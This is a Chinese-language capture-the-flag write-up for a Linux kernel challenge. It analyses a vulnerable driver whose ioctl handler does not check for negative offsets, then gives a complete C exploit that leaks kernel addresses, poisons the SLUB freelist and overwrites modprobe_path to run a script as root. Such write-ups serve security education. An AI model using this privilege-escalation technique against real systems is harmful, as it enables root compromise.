基础知识

modprobe_path

modprobe_path指向了一个内核在运行未知文件类型时运行的二进制文件;当内核运行一个错误格式的文件的时候,会调用这个modprobe_path所指向的二进制文件去,如果我们将这个字符串指向我们的自己的恶意二进制文件,那么在发生错误的时候就可以执行我们的恶意文件了。

1
cat /proc/kallsyms | grep modprobe_path

可以查看modprobe_path在内核中的地址

mod_tree

mod_tree是一块包含了模块指针的内存地址的内核地址,通过查看这个位置我们可以获取到驱动ko文件的地址,在我们需要泄露模块基地址,但是在堆或栈中没有找到的时候可以查看这块内存区域

1
grep mod_tree /proc/kallsyms

题目附件

  • initramfs.cpio打包的文件系统
  • bzImage内核镜像
  • hackme.ko漏洞驱动
  • start.sh启动脚本

提取出文件系统

1
cpio -idmv < initramfs.cpio

提取出vmlinux便于调试

1
vmlinux-to-elf bzImage vmlinux

start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /bin/sh
cd `dirname $0`
stty intr ^]
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-gdb tcp::1234 \
-cpu qemu64,smep,smap 2>/dev/null

开启了kaslr,smep以及smap。

/etc/initd/rcS

这道题的init为空,启动项写在/etc/initd/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh

echo "CiAgICAgICAgIyAgICMgICAgIyMjIyAgICAjIyMjIyAgIyMjIyMjCiAgICAgICAgICMgIyAgICAj
ICAgICMgICAgICMgICAgIwogICAgICAgIyMjICMjIyAgIyAgICAgICAgICAjICAgICMjIyMjCiAg
ICAgICAgICMgIyAgICAjICAgICAgICAgICMgICAgIwogICAgICAgICMgICAjICAgIyAgICAjICAg
ICAjICAgICMKICAgICAgICAgICAgICAgICAjIyMjICAgICAgIyAgICAjCgo=" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme

echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
cat /proc/modules
cat /proc/kallsyms | grep prepare_cred
cd /home/pwn
chown -R root /flag
chmod 400 /flag

#cat /proc/slabinfo | grep cred_jar
chown -R 1000:1000 .
setsid cttyhack setuidgid 0 sh

umount /proc
poweroff -f

注意调试分析时关闭start.sh中的kaslr以及设置启动项为root,方便查看内核地址

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, args *a3)
{
__int64 v3; // rax
__int64 v4; // rsi
__int64 *v5; // rax
__int64 v7; // rax
__int64 v8; // rdi
__int64 *v9; // rax
__int64 length; // r12
__int64 user_ptr; // r13
__int64 *v12; // rbx
__int64 v13; // rbx
__int64 v14; // rdi
__int64 *v15; // rbx
__int64 v16; // rax
args v17; // [rsp+0h] [rbp-38h] BYREF

copy_from_user(&v17, a3, 0x20LL);
if ( a2 == 0x30001 )
{
v13 = 2LL * LODWORD(v17.idx);
v14 = pool[v13];
v15 = &pool[v13];
if ( v14 )
{
kfree();
*v15 = 0LL;
return 0LL;
}
return -1LL;
}
if ( a2 > 0x30001 )
{
if ( a2 == 0x30002 )
{
v7 = 2LL * LODWORD(v17.idx);
v8 = pool[v7];
v9 = &pool[v7];
if ( v8 && v17.offset + v17.length <= (unsigned __int64)v9[1] )
{
copy_from_user(v17.offset + v8, v17.user_ptr, v17.length);
return 0LL;
}
}
else if ( a2 == 0x30003 )
{
v3 = 2LL * LODWORD(v17.idx);
v4 = pool[v3];
v5 = &pool[v3];
if ( v4 )
{
if ( v17.offset + v17.length <= (unsigned __int64)v5[1] )
{
copy_to_user(v17.user_ptr, v17.offset + v4, v17.length);
return 0LL;
}
}
}
return -1LL;
}
if ( a2 != 0x30000 )
return -1LL;
length = v17.length;
user_ptr = v17.user_ptr;
v12 = &pool[2 * LODWORD(v17.idx)];
if ( *v12 )
return -1LL;
v16 = _kmalloc(v17.length, 0x6000C0LL);
if ( !v16 )
return -1LL;
*v12 = v16;
copy_from_user(v16, user_ptr, length);
v12[1] = length;
return 0LL;
}

实现了类似堆块的add,delete,show以及edit功能。分析代码提取出数据结构

1
2
3
4
5
6
7
struct heap
{
size_t idx;
size_t *user_ptr;
size_t length;
size_t offset;
};

alloc

QQ_1720882157934

申请一块内存,地址和大小放在pool数组中

delete

image-20241009214512108

根据idx释放内存

edit_user

image-20241009214606276

从内核拷贝length长度的内存到栈中,注意这里检测offset+length要小于length,那么offset就不能大于0,但是对offset没作限制,可以为负数,那么就能绕过这个判断而且此时还会导致内存向前任意读取。

edit_kernel

image-20241009214552514

从栈中拷贝数据到内核中,这里也是对offset没作限制,所以可以利用offset为负数来实现向前任意内核地址写。

利用思路

因为slub分配器的分配原理和fastbin的原理类似,所以我们可以通过越界读写修改chunk的fd指针(用户态中的说法)。

如果我们将本来chunk1——>chunk3的fd指针修改为指向modprobe_path,然后再修改modprobe_path为恶意程序路径,再触发执行错误即可完成劫持。

但是想要修改fd为modprobe_path,需要泄露内核地址才能得到modprobe_path真正的地址。

泄露地址

从申请的堆地址往上找一下,发现有一处sysctl_table_root可以用来泄露内核地址

1
2
3
4
5
edit_user(0,mem,0x100,-0xd8);
size_t sysctl_table_root = *((size_t *)mem);
printf("sysctl_table_root: %p\n", sysctl_table_root);
size_t kernel_offset = sysctl_table_root - 0xffffffff81849ae0;
printf("kernel_offset: %p\n", kernel_offset);

泄露模块地址就利用修改fd指针申请到mod_tree,然后再泄露mod_tree内存处保存的模块加载地址

1
2
3
4
5
6
7
8
9
10
11
*((size_t *)mem) = mod_tree + 0x50;

edit_kernel(4,mem,0x100,-0x100);
alloc(1,mem,0x100);
alloc(3,mem,0x100);

edit_user(3,mem,0x100,-0x38);
size_t ko_addr = *((size_t *)mem);
size_t pool_addr = ko_addr + 0x2400;
printf("ko_addr: %p\n", ko_addr);
printf("pool_addr: %p\n", pool_addr);

劫持指针

本来想直接通过像申请mod_tree那样直接申请modprobe_path,然后直接修改modprobe_path为恶意程序地址进行利用的。

因为这样就可以不用泄露ko的地址,也不用再申请到pool数组

最后虽然修改成功了,但是执行system会发生崩溃,原因不得而知。

所以就还是先老实的把pool数组也申请出来,通过修改pool数组为modprobe_path,再修改modprobe_path为恶意程序地址,最后控制执行即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
#include<sys/ioctl.h>

struct heap
{
size_t idx;
size_t *user_ptr;
size_t length;
size_t offset;
};
int fd;
void alloc(int idx, char *ptr, size_t len){
struct heap buf;
buf.idx = idx;
buf.user_ptr = ptr;
buf.length = len;
ioctl(fd, 0x30000, &buf);
}
void delete(size_t idx){
struct heap buf;
buf.idx = idx;
ioctl(fd, 0x30001, &buf);
}
void edit_user(int idx, char *ptr, size_t len, size_t offset){
struct heap buf;
buf.idx = idx;
buf.user_ptr = ptr;
buf.length = len;
buf.offset = offset;
ioctl(fd, 0x30003, &buf);
}

void edit_kernel(int idx, char *ptr, size_t len, size_t offset){
struct heap buf;
buf.idx = idx;
buf.user_ptr = ptr;
buf.length = len;
buf.offset = offset;
ioctl(fd, 0x30002, &buf);
}

int main()
{
fd = open("/dev/hackme", 0);
char *mem = malloc(0x1000);
memset(mem, 'a', 0x100);
alloc(0,mem,0x100);
alloc(1,mem,0x100);
alloc(2,mem,0x100);
alloc(3,mem,0x100);
alloc(4,mem,0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
alloc(7,mem,0x100);
// delete(1);
// delete(3);
edit_user(0,mem,0x100,-0xd8);
size_t sysctl_table_root = *((size_t *)mem);
printf("sysctl_table_root: %p\n", sysctl_table_root);
size_t kernel_offset = sysctl_table_root - 0xffffffff81849ae0;
printf("kernel_offset: %p\n", kernel_offset);
//ffffffff81811000 d mod_tree
size_t mod_tree = kernel_offset + 0xffffffff81811000;

delete(1);
delete(3);

edit_user(4,mem,0x100,-0x100);
size_t heap_3 = *((size_t *)mem);
printf("heap_3: %p\n", heap_3);

*((size_t *)mem) = mod_tree + 0x50;

edit_kernel(4,mem,0x100,-0x100);
alloc(1,mem,0x100);
alloc(3,mem,0x100);

edit_user(3,mem,0x100,-0x38);
size_t ko_addr = *((size_t *)mem);
size_t pool_addr = ko_addr + 0x2400;
printf("ko_addr: %p\n", ko_addr);
printf("pool_addr: %p\n", pool_addr);

delete(4);
delete(6);
//ffffffff8183f960 D modprobe_path

*((size_t *)mem) = pool_addr+0xc0;
edit_kernel(7,mem,0x100,-0x100);

alloc(4,mem,0x100);
alloc(6,mem,0x100);

*((size_t *)mem) = kernel_offset + 0xffffffff8183f960;
*((size_t *)(mem+0x8)) = 0x100;
edit_kernel(0xc,mem,0x10,0);

strncpy(mem, "/home/pwn/copy.sh\x00", 18);
edit_kernel(0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/z0yuan");
system("chmod +x /home/pwn/z0yuan");

//触发错误调用modprobe_path
system("/home/pwn/z0yuan");
system("cat /home/pwn/flag");

return 0;

}

image-20241009214702903

成功利用!

参考文献

1
2
3
https://bbs.kanxue.com/thread-276403.htm#msg_header_h3_5
https://xz.aliyun.com/t/6067?time__1311=n4%2BxnD0DgDcm0%3DDCD9DBqaoNGQAAO42gOSoTD#toc-2
https://x3h1n.github.io/2019/10/24/hackme/